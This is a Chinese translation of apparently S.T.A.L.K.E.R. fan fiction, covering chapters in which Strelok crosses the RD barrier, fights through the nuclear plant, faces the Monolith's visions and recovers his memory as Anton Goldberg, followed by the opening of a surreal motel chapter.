又是奔跑。令人疲惫,无穷无尽。如果相信教授的计算,他必须遵循某种不断加速的奔跑模式,在“沉睡的”RD装置的减弱辐射波峰上滑行。如果他够走运,他可以在另外两个RD的补偿波覆盖他之前穿过“大脑沸腾”地带。史特烈洛克信任教授。他也信任医生。只是他们俩都只知道真相的个别碎片。而从碎片推断整体,可以得出各种完全脱离现实的结论。但一部分在原罪团获得的文件证实了教授的计算,史特烈洛克非常希望这不是又一次幻觉。

当然,可以尝试摧毁装置,但史特烈洛克不确定,在形成的缺口那一侧,会不会涌入比这里已经存在的更可怕的东西。而且时间可能不够。指望假设的免疫力也不合理。不,他只想到另一边去。是的,现在他知道,他确实已经走过这整条路,而且很可能在另一边待过。不过,他完全不记得什么特异区天使,但这可以理解——创伤后失忆。显然,他的“死亡”是一个相当痛苦的过程。但他为什么仍然想不起更深的过去?难道那里也有震惊在等着他?

主要的是不要偏离奔跑模式,不断加快速度,追逐着那溜走的辐射波。史特烈洛克确信,他能在身体上感觉到“允许”的边界:只要他开始提前,脑中立刻就会出现“异样”的想法。

……停下!!!不要去那里……

……它会杀了我们……

……我……我受不了那样的痛苦……再一次……

……别这样做!你会死的!……我会死的!而没有我,你什么都不是!!!是我指引你的奔跑!是我告诉你该往右拐还是往左拐。是我……

……疼!!!

……奔跑与痛苦!这就是名为生命的那枚硬币的两面……

史特烈洛克冲进了一个场地,在那里半明半暗之中矗立着一些巨大的闪亮板,最像太阳能电池板。这就是RD,尽显其美。在半明半暗中神秘地闪烁着,此刻平静地沉睡,但因此并不危险小。

主要的是不要放慢奔跑。向前,只向前。否则他将来不及滑出危险区,毁灭性的疯狂之浪会淹没他。

再快点。再快!

肺变得脆弱,空气像砂纸。前面是座小山,如果他来得及翻过山顶——他就通过了。应该把所有的罐头扔掉,还有神器……在特异区它们随处可见……至少神器是……而罐头……去他的罐头……

也许,在特异区中心某处确实有个隧道,所有去了的人……

来不及了!疯狂之浪在增长,好像有人开始在他背后呼吸……而脑中的“声音”……

……它会杀了我们……

……奔跑与痛苦!这就是硬币的两面……

最后几米,史特烈洛克甚至比他预计的更加迅猛——他绊倒了,翻了个跟斗……

然后他仰面躺着,看着星星。所有的想法都消失了:自己的和别人的。星星遥远而冰冷。它们对一个受尽折磨的人完全不在乎,这个人试图向前走,希望能遇到他的记忆——可能只是为了明白,这样做不值得。

然后他从背包里拿出罐头。现在他不后悔没能在开始疯狂冲刺前扔掉它们。他麻木地嚼着,像大风暴之后一样,然后向北走去。夜里行走有风险,但也不想留在RD附近。

他还觉得,有别的什么跟着他穿过了RD的屏障。

现在他清楚地记得,当他在RD辐射可能致命的距离上行走时,有一个影子一直跟着他。独狼?老鼠?少校?或者是某个还没进入他视野的人?


19. 第12层。第二座城市。

又是城市。

但现在史特烈洛克确切知道,他曾经来过这里。知道,但仍然说不出他真的记得是怎样的。

这座城市显然比他路上遇到的任何一座都要大、都要美。但城市是死的。现在肯定也只有僵尸居住,而在这里,他们大概也努力模仿人类生活。

史特烈洛克突然觉得,其实他好像并非真正存在于这个地方,也就是说,身体也许在这里,但他的理智明白这个世界是虚幻的,其实他很可能在另一个世界,也许更加不真实。(……那个草墩已经变得很小了——随时可能咕嘟掉……)

……他在这里的存在只是逃避。

(……奔跑与痛苦!……)

也许是游戏。

生活游戏?

从这场“游戏”开始以来,有多少人和命运从他眼前经过?在死亡卡车里发现他的潜行者,蛤蟆,独狼,雪貂,看门狗,霍普利特,乌鸦眼,老鼠,少校,杀手团的那些有编号的家伙,原罪团的灰兄弟,副教授,教授,实验室助理,疯狂医生……而史特烈洛克在“那”世肯定还认识多少人?也许需要分心,停止思考,过去就会自己回来?有一次他做了一个梦,与当前事件没有直接联系,也与过去无关。关于引力的梦。被压碎的人。许多人。关于在不可见的重力下无法移动的梦,关于任何过程(包括思维)的惯性,以及关于时间的梦。因为在巨大的引力效应下,时间应该变慢。在巨大质量集中的地方,时间变慢,从内部观察会看到一个惊人的效果:外面的一切都会开始狂奔,好像运动是生命本身唯一的目的。

……奔跑与痛苦!……

他还注意到,记忆的变形不仅发生在他身上,也发生在所有特异区居民身上。特异区整个幻象般的结构都建立在这种“健忘症”之上,所有这些派系和团体,带着他们的冲突,仿佛自我运转的疯狂生产,对文件的神物崇拜而不理解其实质。因此,必须找到这种变形的原因,而要找到原因,就必须……记起一切!一个恶性循环。而且循环奔跑……

……奔跑与痛苦!……

史特烈洛克在城市的街道上徘徊。空旷的街道,成群的瞎狗在垃圾堆里翻找。他随机进了几栋高层建筑。有两栋除了老鼠确实没人,第三栋则住着一个僵尸群落。他们不像他以前遇到的那些。他至少遇到过几种类型:

脑波怪的植物性受害者;在RD装置作用下半空虚的;愚蠢、固执、恶毒、被编程去毁灭的(有趣,被谁?);完全沉浸在自己虚幻世界中的。

但这些是特别的,他们的行为好像什么都没发生过!就像被编程执行特定行动顺序的机器人。他们试图模仿生活,做饭,互相串门,互相照顾。见惯了大场面的史特烈洛克也不禁汗毛倒竖。

此外,这些僵尸还试图彼此进行社交谈话。

在含糊不清的小声说和咕噜声中,史特烈洛克能清楚地分辨出个别的词语甚至短语。这类似于僵尸的福音。他们相信,他们世界的一切都是暂时的,越糟越好,只要愿意,但一定要大家一起……他们应该聚集在城市。他们很快就要聚集,然后……黑石是他们的希望!

史特烈洛克穿过城市,偶尔开枪驱赶那些对僵尸无动于衷、闻到人味就发狂的瞎狗。

从高楼上层,在薄雾中,可以清楚地看到一个由惊人建筑组成的巨大建筑群。它的幽灵曾多次出现在他的梦中。

黑石。巨大的建筑群,黑石安卧在其深处。一个孤独的人的小身影。一个潜行者,用最后一点力气向目标——黑石——爬去。他伸出颤抖的双手……一道明亮的闪光……(译者注:阴影里的那个 CG)

在城市北郊,史特烈洛克开始遇到军事巡逻队。史特烈洛克尽量不暴露自己,好在空房子里很容易躲藏。军人在进行区域清理。他们用火焰喷射器烧地下室,抓住的僵尸就地枪决,把尸体堆成一堆,开卡车过来。也许史特烈洛克也曾是僵尸,或以某种方式进了这样一辆卡车?

又一次躲进一栋破旧建筑的门洞时,史特烈洛克听到一个使他警觉的声音。声音来自三楼。他无声地悄悄靠近,向空荡荡的公寓里看去。首先他看到了某人的腿。根据外骨骼判断,是个军人。他躺在地板上,从一条腿不自然地外翻看,史特烈洛克断定军人已经死了。然后他的视野中出现了一个人的背,一个瘦削的男人正试图脱下死者的衣服。那人忙着围着死人转,转过身来,史特烈洛克看到了他的侧面。老鼠!原来是他设法“骑在史特烈洛克的肩膀上”穿过了RD屏障。

史特烈洛克走进房间,停下来等待着,紧盯着老鼠的后脑勺。尽管他做得完全无声,老鼠先是僵住,然后转过头,斜眼看着史特烈洛克。

“有人告诉我,是魔鬼本人在帮你,而我这个傻瓜不相信,”他嘶嘶地说,眼睛没有离开史特烈洛克手中的步枪。

史特烈洛克沉默着。街上传来枪声和被消灭的僵尸的绝望嚎叫。

“怎么,不说话?”老鼠再次嘶嘶作响,没有改变不舒服的姿势。

史特烈洛克沉默着。老鼠会惊讶地发现,此刻他什么也没想。(译者注:再次暗示老鼠可能会读心术)

“你要黑石做什么?”老鼠不罢休。“你不是已经去过那里了吗,而且对你来说结局并不好。你能要求什么?你对生活到底懂什么?你活得像个乞丐,也会像乞丐一样死去,你根本不知道要什么!在粪里生的就该死在粪里!!!”

有那么一刻,老鼠的声音变得尖利,然后他手里闪过了手枪。

但史特烈洛克没有白得他的名字(译者注:即枪手)。他先开了枪。

然后他剥下军人的衣服,穿上了他的带有外骨骼加强的服装。他甚至有点感激老鼠——他的物品中有一把出色的高斯枪和……香烟。天知道为什么,但他也拿走了香烟。

当他换好衣服时,楼梯上传来小心的脚步声。史特烈洛克只是苦笑了一下。他不知为何确信,已经没有任何人、任何事能阻止他。

“别开枪,重生者,”一个不大的声音传来,“我们是来帮你的。”

“你们要什么?”

“我们来自‘黑石’派系,我们相信是特异区选择了你。我们会帮你穿过军队的哨卡到达电站。但接下来你得自己走。特异区不喜欢有人未经邀请就靠近它的心脏。”

他们有两个人,有点让史特烈洛克想起原罪团的成员,只是他们的狂热没有那么尖锐。但众所周知,狂暴的疯子比安静的更容易治疗。

他们确实帮他绕过了一些隐藏的哨卡,顺利地带他出了城。向北的道路畅通无阻。史特烈洛克不回头看着恭敬地僵立着的送行者们,向前走去。

但事实证明,还有一个障碍。大约半小时后,史特烈洛克遇到了一群迎着他走来的僵尸。他匆匆看了一眼这三个人,就断定他们是杀人僵尸,和以前跟踪他的那些一模一样。

但现在他已经完全不是开始旅途时的那个他了。现在即使一百个这样的半人也不能阻止他。

他伸出颤抖的双手……一道明亮的闪光……


20. 第13层。核电站。

核电站的庞大身躯,像独眼巨人般的怪物,匍匐在他面前。他走了多久才到达特异区的这颗心脏,他对这次会面寄托了多少希望!

但他还得穿过一大片开阔地,还有内部走廊的迷宫,那里肯定有成群结队的弥诺陶洛斯在放牧……

史特烈洛克仔细环顾四周,寂静骗不了他,他用整个身体感觉到,电站内部隐藏着他来寻找的东西。他几乎“听到”东翼楼外,一队军人散开成散兵线,外骨骼的金属部件在闪光。他几乎“看到”在电站内部,僵尸们涌向大厅,在那里……而脑波怪像一个怪诞的指挥家,驱赶着他那没有理智的兽群。几十个畸形生物从最黑暗的角落爬出来。

但他已经走了这么远,经历了这么多,不是白费的。把弹药塞进口袋,把背包扔到一边,史特烈洛克向前迈出一步。

从这一刻起,那个有着“梅塞尔”、“史特烈洛克”绰号的人不复存在。现在这是一台被一个目标所驱动的机器:到达黑石。

跑。向前。右边有声音。一个难以察觉的动作——开枪。命中!目标被击中。

向前。跑。前面有影子。开枪!目标被击中。

向前!门。打开。扔出装凝胶的瓷圆柱体。关上。

向前。锈红的毛发从天花板上垂下,绕过。向左。向后。墙上有两个潜行者的印记——那是引力聚集点的污渍。进这条走廊。声音。开枪!

也许地狱里会平静得多……

然后他全速冲进一个大殿,里面挤满了怪物,每一个都想吃掉他!就在这里,现在。

“回去!!!”史特烈洛克脑中一个歇斯底里的喊声听起来很沉闷,好像来自外部。

掉头回去?!不!别想!!!

不成形的火焰唾液扇面状飞过大厅。等离子枪在杀伤力上无疑远胜独狼的步枪。然而,怪物太多了。它们的一部分有毒唾液达到了目标。但史特烈洛克既不在意烧焦血肉的恶臭,也不在意腐蚀皮肤的酸液的咝咝声。

……他在大厅里横冲直撞,播撒死亡与毁灭,痉挛扣住的手指不停地扣动扳机。史特烈洛克不停地射击,无法抑制,好像他用这些火焰唾液在呕吐……

而脑中一个烦人的背景音是那没完没了的叠句:

“跑!跑!跑!”

“可我不是在跑吗,”史特烈洛克想,“我一直在跑。我存在的本质就体现在这奔跑中……”

“离开这里!!!离开!离开!!!趁还不晚!!!”

“天哪,看来我终于要疯了……”

在随之而来的寂静中,可以清楚地听到覆盖整个大厅地面的闷烧的血肉碎片的噼啪声。

“这次你活下来了,”史特烈洛克脑中一个陌生的声音出奇地平静。“但前面还有自毁的桥、火焰室、然后是一个大厅,那里有超级怪物在等着你,再然后……”

“你是谁?!!!”史特烈洛克咆哮着,完全忘记了他只剩下百分之三十的健康值,需要赶紧去找藏药的秘密地点。

而上次你连这个大厅都没通过……

史特烈洛克用力地摇了摇头。难道他真的在发疯?他清楚地听到“内在”的声音得意地窃笑。

然后,终于,震惊过去了。史特烈洛克发现自己身处一片无边无际的海洋中央,开始下沉……痛苦的海洋!史特烈洛克四肢着地,但聚集了残余的力量和仅存的理智碎片,几乎盲目地向那个宝贵的地方爬去,他确切知道(因为他用过不止一次藏匿点)那里藏着药品。

在当前情况下唯一让他高兴的是,海潮也用它的触手够到了他脑中盘踞的那个对手。透过疼痛的薄雾,史特烈洛克清晰地“听到”他尖叫了一声,然后开始歇斯底里地挣扎。

“啊哈,”史特烈洛克边爬边想,“你知道很多,但全身百分之七十的皮肤被酸烧伤是什么感觉,对你来说可能是第一次!”

“快点!!!我受不了了!!!”内在的声音在撕扯。

“胡说,”史特烈洛克半迷糊地小声说。“小事一桩。这不像引力炮,准星一偏,你的肠子就会从耳朵里冒出来……”

“我受不了了!!!”声音最后一次尖叫,然后断开了。

史特烈洛克毫无阻碍地爬到了藏匿点。他几乎看不见东西,也无法思考。

……神奇的药物效果,一如既往,是瞬时的。刚才史特烈洛克还是一个濒死的痛苦之球——然后他又完好无损了。只有双手在背叛地颤抖,膝盖发软。

史特烈洛克背靠着凉爽的墙壁,伸出他多灾多难的腿。他拿出香烟,惬意地点燃一支……但他之前从未抽过烟!难道他正在慢慢变成另一个完全不同、完全陌生的人?梅塞尔的壳裂了,下面是史特烈洛克,现在史特烈洛克的壳开始破裂,下面会是什么?

“嘿,你怎么样?”他大声对安静下来的“内在”声音喊道。

“内在”的声音沉默着。

“它死在那儿了还是怎么?”史特烈洛克恼怒地想。

奇怪的是,他几乎已经不在乎这个声音的本质了。以前史特烈洛克经常不由自主地倾听自己的感觉,不断发现其中大部分好像是外部灌输的。好像他是一个木偶,每一步都受他人意志的支配。只要他在动,他就活着!但那个不请自来、具体化的“内在”声音让史特烈洛克再次陷入沉思。而一思考,他就失去了节奏……

“停下!!!不要去那里!”

“啊哈,”史特烈洛克恶毒地喊道,“活了!”

“它会杀了我们!”

“你怎么变得这么关心我们了?”史特烈洛克嘴角歪歪地笑了笑。“不久前你还逼我往火坑里跳。”

“我……我受不了那样的痛苦……再一次……”

“这么说,我终于可以摆脱你了……”

声音立刻转为进攻:
“别这样做!没有我,你什么都不是!!!是我指引你的奔跑!是我告诉你该往右拐还是往左拐。是我……”

“你怎么这么激动?”史特烈洛克讥讽地问,随着“内在”的声音失去控制,他感到越来越自信。

或者是对他,史特烈洛克-梅塞尔的?

一切都如此混乱。史特烈洛克突然意识到,如果这个“内在”的声音离开他的生活,生活确实会变得贫乏。

但不会停止!

史特烈洛克整理了一下胸前的等离子发射器,果断地钻进一个狭窄的洞口,他感觉到——这应该会通向超级怪物。

“我要关掉你!!!”声音疯狂地尖叫,但很虚弱。

“试试看!”史特烈洛克跑着在心里回答。


……那确实是一个怪物,完全配得上“超级”的前缀。它的身体占据了整个狭窄的洞口,前部完全是一个张开的大嘴,喷泉般地向外喷出股股腐蚀性胃液。

“回去!!”史特烈洛克脑中的声音在挣扎。“你会杀了我,怪物!!!”

史特烈洛克扣动扳机,把等离子射流对准这个地狱隧道的中心,冷漠地记录着,在他靴子的粗皮(然后是里面的人肉)被灌满走廊的恶臭脏物慢慢腐蚀时,发出咝咝声和噼啪声……

“只要不倒下,只要还能用我剩下的腿站着……”史特烈洛克迟钝地想,一发接一发地把子弹射进这个贪得无厌的炮口。“只要不倒下……否则这个爬行的胃会在把我吞下去之前就消化掉……”

突然,怪物爆炸了!

史特烈洛克终于呕吐了,然后倒下了。

“我没比猴子进化多少,如果我总想四肢着地,”史特烈洛克苦涩地想,冷漠地看着手浸入地狱般的混合物,起泡,坏死的肉开始以无定形的碎片剥离……

……史特烈洛克很可能还是失去了意识。更准确地说,意识受不了了,暂时关闭,把控制权交给反射……

……药物……

显然,他一直在爬,本能地试图到达宝贵的目标。

现在史特烈洛克躺在一个相对干净的地方,迟钝地看着他自己那多灾多难的肉,然后是衣服,在再生。心里很平静。

但突然,史特烈洛克感到,“内在”的声音离开了他。现在永远离开了!

而在隔壁大厅里,黑石正等着他。


21. 第14层。黑石……

如果你非常渴望某样东西——热切地,用灵魂去抵押……那么当你终于得到渴望的东西时,突然感到的不是满足,而只是空虚……

他站在廊台上,而远处下方,在深渊中,躺着黑石。而围着它的是那些以前来过的人。带着他们的希望……几十个……几百个潜行者……

处于不同程度的腐烂。

“……他们运气更差……但他为什么肯定黑石一定会实现他的愿望?也许他隐秘的愿望是自我毁灭的渴望?……”

或者……

……他的愿望——“找回失去的渴望”?我希望特异区消失,所有死在里面的都复活!

史特烈洛克举起双手伸向混凝土天花板,仿佛在痉挛。青筋暴起,血珠开始从皮肤下渗出。周围的潜行者尸体。一道电击从黑石中心射出,伸向史特烈洛克的头……

……高举向天空的双手……

……膝盖弯曲……

……黑石的轰鸣减弱……

……死人“复活”——慢慢站起来,半腐烂,在行进中分解,开始向出口移动……

……电站的“躯体”被一阵阵宇宙痛苦与恐惧的震颤摇动。一道火柱从它的内脏射向无动于衷的天空,卷起一团团某种绿色发光的物质。还有成吨的灰烬,扼杀了色彩多样性的残余……淹没一切的灰色海洋,产生了可怕的灰色波浪——无数人从电站向四面八方逃离。驼背、可怕、衣衫褴褛、面目狰狞的人……一个孤独的人,双臂十字形展开,试图阻止疯狂的人群。但一声枪响,那人倒下,人们继续奔跑,把伸展的身体踩进泥里……

……奔跑与痛苦!……

……他的愿望——“渴望永生”?

一道电击从黑石中心射出,伸向史特烈洛克的头……

……高举向天空的双手……

……膝盖弯曲……

……不知为何很冷。

……淡蓝色的表面,有细细的纹理……像一张布满湖泊、河流和小溪网的区域地图。或者非常薄、几乎透明的皮肤,下面有奇特的循环系统图案……

他在太平间!!!但他是活的!

“啊,你醒了!”疯狂医生微笑着,举起一个巨大的罐子,里面泡着一个人脑。

“你好,史特烈洛克!你可以祝贺我,特异区里形成了这么一种草,”医生欢快地叽叽喳喳,“总之,我发明了一种保存活组织的新方法,现在你几乎可以永远活着……”

……和痛苦!……

……他的愿望——庸俗的“对权力的渴望”。因为他不可阻挡地走向目标,总是先开枪,甚至之后也没有疑问……

……电击……

……高举向天空的双手……

……膝盖弯曲……

史特烈洛克用理性明白,这个世界是虚幻的,其实他很可能在另一个世界。而世界在交换位置。史特烈洛克突然明白,他不在黑石之外,而在里面,他就是黑石。他不知是因无力还是因愤怒,开始放出闪电。大风暴开始了,特异区活跃起来,潜行者冲进大厅。他们瞬间变成僵尸,跪倒在片刻前还是史特烈洛克的东西面前……

……他的愿望——“厌世”。毕竟他的良心上有死亡……

……电击……

……双手……

……膝盖……

电站的“躯体”被一阵阵“宇宙痛苦与恐惧”的震颤摇动,一道火柱从它的内脏射向无动于衷的天空,卷起一团团某种绿色发光的物质。紧随其后,撕裂的电光图案冲向天空,天空则报以大雨,但那雨和整个大风暴现象一样不自然——那是成吨的灰烬,扼杀了色彩多样性的残余……淹没一切的灰色海洋,产生了可怕的灰色波浪——无数老鼠从电站向四面八方逃离。潜行者四处奔走,试图射杀它们,老鼠扑向人们,用尖牙咬住他们的右臂……鲜血迅速与尘土混合……

……他的愿望——“对荣耀的渴望”。仅仅是对荣耀的渴望……

……电击……

……双手……

……膝盖……

鲜血!墙上的鲜血!!!被钉在十字架上的人……和……空虚……

“你是被选中者。伟大克里的第二次化身。”

……角落里的十字架……墙上方的墙上,草草地写着一个词:“原罪”。

……字是血写的。

头领把他杯子里的剩余液体泼进火里。一股令人窒息的甜涩味麻醉着大脑。然后大家都嚎了起来,那嚎声中有那么多的忧郁……

而史特烈洛克占据了那个他显然潜意识里期望的位置——在十字架上。

伟大克里的儿子们跪倒在十字架前……

……他的愿望——“对人道主义的渴望”……

……电击……

……双手……

……膝盖……

一滴泪珠从僵尸的脸颊滚下……

“杀了我……求求你。”

他本想反驳,但话卡在喉咙里。

“求求你,”僵尸重复了一遍,转过身去,露出没有保护的后脑勺。

……记者好人……记者不会欺负我们……

史特烈洛克没有开枪。一瞬间后,僵尸追上了他,割开了他的喉咙。

……他的愿望——“对绝对性的渴望:人人幸福,不让任何人感到委屈”!

……电击……

基于事件构建的概念——每人一个……黑石。

……他的愿望——“想起一切”!

……电击……

他站在廊台上,而远处下方某处,躺着黑石。而围着它的是那些以前来过的人。几十个潜行者……但是——最重要的是!

他记起了他曾经的名字:安东!

安东·戈德伯格!

然后,他的过去不可阻挡地涌向他,无情地挤走黑石所激发的幻象。

一帧接一帧,关键的时刻,被剪辑压缩成一个奇特的视频片段……

这一切都已经发生过一次。也许不止一次!

就这样,他,安东·戈德伯格,曾站在悬崖边,几乎冷漠地看着脚下裂开的深渊。

黑暗在召唤,只需要跨过无形的屏障——将他与……安宁分隔开的界限。身后是忙碌和对这种生活的绝对不理解,而前方……

但最重要的是,这个界限是那么虚幻和摇摆不定……只需要迈出一步,然后……然后一切会自己安排。

甚至有点不敢相信,那团无法解决的矛盾会突然获得新的形式,从而获得清晰、可预测性和意义。

安东犹豫了一瞬……

……向前迈了一步。

风撕扯着肺,像阳台上晾干的衣服。

他的生命,像一场奇特的超级秀,在他面前展开,作为明亮而……空白的画布,在一场稳赢的彩票中唯一的空号,一部超级动作片,其中人的生命被死死地压缩在分配给它的一小时半小时里。

一帧接一帧。一幕接一幕。构成一幅如此生动又如此无意义的画面……编剧显然在导演终于接手之前很久就疯了,而编剧甚至不值得舔导演的脏脚,特别是如果适合这项工作的程度是用总的集体疯狂来衡量的。

一切仿佛自行开始旋转。没有人有错。没有人指责任何人!一切都会完全正常,如果安东·戈德伯格……没有迈出最后一步……

因此,最初一切都是安东·戈德伯格自己的错。他的错仅仅在于他屈尊来到这个世界上,顺便说一句,在这个世界上,他完全不被期待,甚至,更甚,原则上没人准备好他的到来!无论是戈德伯格父亲,还是母亲,她准备成为任何人,但绝不是母亲。而安东的父亲也像任何东西,但绝不是父亲。通常,人们会感谢那些——即使出于无知、天真或完全的医学-性无知——屈尊把你推到这个世界的人。即使你的出现仅仅是因为你的父母完全不知道避孕药是什么。

而如果他们没让你在童年饿死,仅凭这一点你就应该对他们顶礼膜拜。

安东·戈德伯格不会祈祷。他学到了很多,但绝不是宽恕一切。

安东在自己名册上的第一个叉,正是在他的父母两人突然在一个瞬间,完全出乎自己意料地,看到了真相时打上去的……而安东记了一辈子!

咔嚓!

计数器动了。

给人的印象是安东生下来体内就带着它,计数立刻开始,不可逆转。

第二次咔嚓发生在安东上学的时候。

整个教育系统被设置得好像它的唯一目的是磨碎掉进其磨盘的小石头,完全消除个性,将其归结为来自不同知识领域的零散事实,而最重要的是,灌输对不可动摇的权威的绝对服从,这些权威定期更新,而被推翻的偶像则被诽谤、辱骂、从编年史中抹去。

社会在培养安东成为其成员。社会也还没有准备好接纳他。

咔嚓!

安东的大多数同龄人都相当巧妙地融入了这个系统。即使有个别的叛逆者,他们的叛逆也是原则性的,他们对常识不感兴趣,他们在生理上倾向于无政府状态。

咔嚓!咔嚓!!!

然后是青春期。计数器像疯了似的咔咔响。

咔嚓,咔嚓,咔嚓……

初恋,第一次背叛。先背叛他,然后他背叛别人……

到十七岁时,安东失去了大部分野心,几乎转变为一个诚实的公民,虔诚地相信他的国家如此无耻地宣传的一切,他成了国家的一个无名齿轮。下一步是战争。

咔嚓。

天知道和谁,天知道怎样、为了什么进行的这场战争。但安东正值征召年龄,这杯酒没有绕过他……

一个十七岁的男孩,手里拿着武器……

可能到这个时候,他还没有完全摆脱幻想。例如,他还相信,拥有武器使他变得比实际上更举足轻重。

第一次杀人,第一次死亡。

然后一次又一次,以巩固技能!

咔嚓,咔嚓,咔嚓。

又是生活,如果能称之为生活的话,一个突然被解除武装、被扔进世界的年轻杀手的盲目存在。

又是爱。爱与恨交织成一个不可分割的结。

咔嚓,咔嚓,咔嚓,咔嚓……

只有一次,一扇通往另一个完全不同的、如此诱人又可怕的世界的大门在安东面前微微打开。

他所看到的不算什么奇怪的世界图景,只是……水彩画般的笔触。但在他眼前闪耀的色彩是纯净的、明亮的,完全不重要它到底是什么:通往另一个世界的窗户、新的虚拟现实,或者只是梦。重要的是,可以进入这个世界并永远留在那里。那个世界没有血和泥。但那个世界也不是甜腻的乌托邦。只是那里的困难和危险是自然的,不是人为编造的,因此也不是愚蠢地无望的。所以克服它们也带来快乐。

第一次也是唯一一次进入那里后,安东无法确切地说他在那里待了多久。时间本身的感觉仿佛改变了,因为通常的计数是基于要么特别对比鲜明、要么有结束趋势的事件,而那里一切都是平稳和无限的。例如,爱情的状态。那是……不!安东不敢在他在那个世界里仅仅一瞥的条件下,去描述那种状态。

但下一刻,门关上了,安东仍然留在门槛上,仿佛内心深处还是害怕最终跨过门槛。生活再次敏捷地夹住安东的腋窝,把他拖向未知的方向和目的。

他结了婚。然后离婚。换了几次工作。又结了婚。

他几乎已经扎根于这种生活。也许那不是根,而只是脐带,它最初就存在,现在大大地增强和增厚了。

后来他有多少次试图重建过渡时刻之前的环境,但……毫无结果。很快他开始倾向于认为这只是他的幻觉。但即使这只是一个梦,难道根本不存在的东西能梦到吗?……虽然回想童年的梦中飞行……

但那种对这种现实的永恒异样感、那种难以忍受的孤独感又从何而来?!最后,如果这确实只是梦,那么他,安东·戈德伯格,自那以后从未醒来,所以……

而生活照常进行。某处发生着一些事件。有人在为权力而战,有人在踏着尸体走向目标……安东一直在等,在等他的时刻。他突然虔诚地相信,存在着某种神奇的时钟,只要它们敲响十二点,奇迹就会发生。而所有他已经几乎忘记的东西——会回来,会以新的力量爆发……总之,生活会重新开始!

咔嚓!

突然,随着这最后一次咔嚓,他明白了,这恰恰就是他寄予厚望的那个时钟的敲响,而最后一次咔嚓对应于最后的第十二下。

那个曾经一度向他敞开大门的世界,也许在给他又一次机会……最后一次。

在下方远处,如此熟悉、但从新的视角看如此荒谬的生活琐事和细节隐约可见。实际上,只有一个元素在这种现实中是不可动摇的。原则上,这里一切皆有可能:甚至可以直接忽略现实,根本不出现!但如果你已经来到这里,有一件事是确定的:无论谁做什么,无论他表现得如何,所有人都面临着同一个结局。那个在道路尽头等待的人,无法用金钱、独特的灵魂品质、膨胀的自我、无私的奉献精神来收买。在这个既是最后法官又是行刑者的面孔面前,所有人都平等。

安东意识到,他非常想尝试欺骗这个“不可避免”的化身,从而打破这个恶性循环,所有在这场古老游戏中的棋子注定要沿着它移动。

咔嚓!

正是这个意图,按照安东的想法,应该打开那扇世界之门,那个世界曾经在无限久远的以前,在一瞬间向他展示过它的面孔……

当心里有这么重的负担时,哪怕是迈出几步是多么困难。

安东站在悬崖边,看着脚下裂开的深渊。

黑暗在召唤,深渊在呼唤。只需要跨过无形的屏障……

身后是忙碌和对这种生活的绝对不理解……

咔嚓!

而前方……

咔嚓!

安东犹豫了一瞬……

然后迈出了一步……

突然,他明白,这次他又被骗了!

现在是最后一次。


22. 第9层。回归 – 选项1

“请问,从这里到城市远吗?”一个穿着破旧牛仔服的瘦弱年轻人问一个和善的光头胖子。

胖子懒散地坐在路边汽车旅馆门廊的摇椅里,狡猾地眯起眼睛,用奇怪的语气说:

“您感兴趣的是最近的……还是?……”

“我感兴趣的是城市,”年轻人干巴巴地说。

“啊,城市,”胖子会意地哼了一声。“到城市很远,而夜已临近。”

胖子晃了一下,椅子有韵律地吱呀作响:吱-吱,像一只在夜里迷路的蟋蟀。

停顿延长了。年轻人怀疑地看向路,然后把目光转向已经一半隐没在地平线下的太阳。

“我希望您的旅馆里有空房间?”他问。

胖子闭着眼睛继续摇晃着,哼了一声:
“您走运,刚好今天空出一间。”

“您的意思是其他都有人了?”

“当然!”

“为什么哪儿都没有人……”

“他们在休息,”胖子睁开一只眼。“积蓄力量。我们这儿到了晚上……”胖子停顿了一下。闭着一只眼、在不停摇晃的椅子上,他像一个轮子上的外星生物。

年轻人笑了,为自己这个有趣的联想感到开心,而胖子停止了摇晃,睁开第二只眼,干巴巴地结束了句子:

“……有节日。那些总是在路上的人的节日。因为只有去城市的人才会在我的汽车旅馆停留。所以我建议您休息几个小时,然后在二十三点整有节日晚餐,然后……就看运气了。”

胖子做了一个不易察觉的动作,年轻人差点没来得及抓住飞来的带号码牌的钥匙。号码牌上写着数字十三。

“好的开始,”年轻人笑了。

房间陈设简朴,但看起来很舒适。

年轻人不脱衣服,倒在床上,安静了大约五分钟,然后沉入了梦乡。

他梦到了城市。灯火辉煌,生机勃勃。强大的能量波从它那里发出。突然,房子的轮廓变得摇摆不定,灯光变得幽灵,城市本身仿佛萎缩或远离了。

年轻人颤抖了一下,因为这个不由自主的动作而醒来。

他好一会儿才意识到,汽车旅馆充满了声音。声音,仿佛梦的延续,一层层叠加,慢慢地在房间里滑行,撞到墙壁上,发出微微可闻的回声。

他躺了一会儿,试图弄明白,在他睡觉期间周围环境发生的变化中,到底是什么让他如此不安。可以清楚地分辨出某人兴奋的低语。某处有孩子哭,女人笑。餐具叮当声和咳嗽声交替。汽车旅馆过着某种奇怪的生活。

年轻人怀疑地笑了笑,站起来,朝走廊走去。

走廊里,落满灰尘的壁灯昏暗地亮着,只加剧了周围黑暗的粘稠感。

几乎就在十三号房门对面,放着一把椅子,椅子上坐着一个干瘦的老头,像一只干枯的螳螂,不眨眼地看着年轻人。

“您好,”年轻人朝老头点了点头。“您能告诉我吗:老板跟我说,今晚旅馆有节日……”

“城市就在附近,”老头不搭调地吱吱说,“只有一天的路。如果走得很快,半天就能到……以前我走得很快……据说这个城市——很特别!……大概撒谎……”

“怎么,您,”年轻人忍不住说,“一次也没去过城市?”

“只有一天的路……撒谎!周围所有人都撒谎……甚至当他们说真话的时候……”

年轻人明白从老头那儿什么也得不到,继续往前走。

在第一个拐角处,一个惊喜以长腿金发女郎的形态等着他,她的眼中闪烁着混合着酒精的忧郁。

“你觉得,城市里会有人偶尔想喝得烂醉吗?”她用沉闷、漠不关心的声音问,然后笨拙地晃了一下,不得不靠在年轻人的肩上。

不等回答,金发女郎全身伸了个懒腰,漫不经心地对年轻人点点头:

“进来?”

“这附近应该有节日在进行吧?”年轻人小声说道。

“你是新来的?”金发女郎咧嘴笑了。

年轻人耸耸肩,金发女郎突然爆发出响亮、略带歇斯底里的笑声。笑声的发作像开始一样突然结束,最后一声更像是抽泣。她猛地转过身,差点又摔倒,挑衅地扭着屁股,消失在四号门后。

年轻人又耸了耸肩,继续走。他在想城市。如果明天黎明出发,晚上就能到达……

年轻人没有马上意识到,他已经走了很长时间,而走廊没有尽头。而且,在路上他机械地拐了几个弯,现在非常模糊地知道怎么回去。

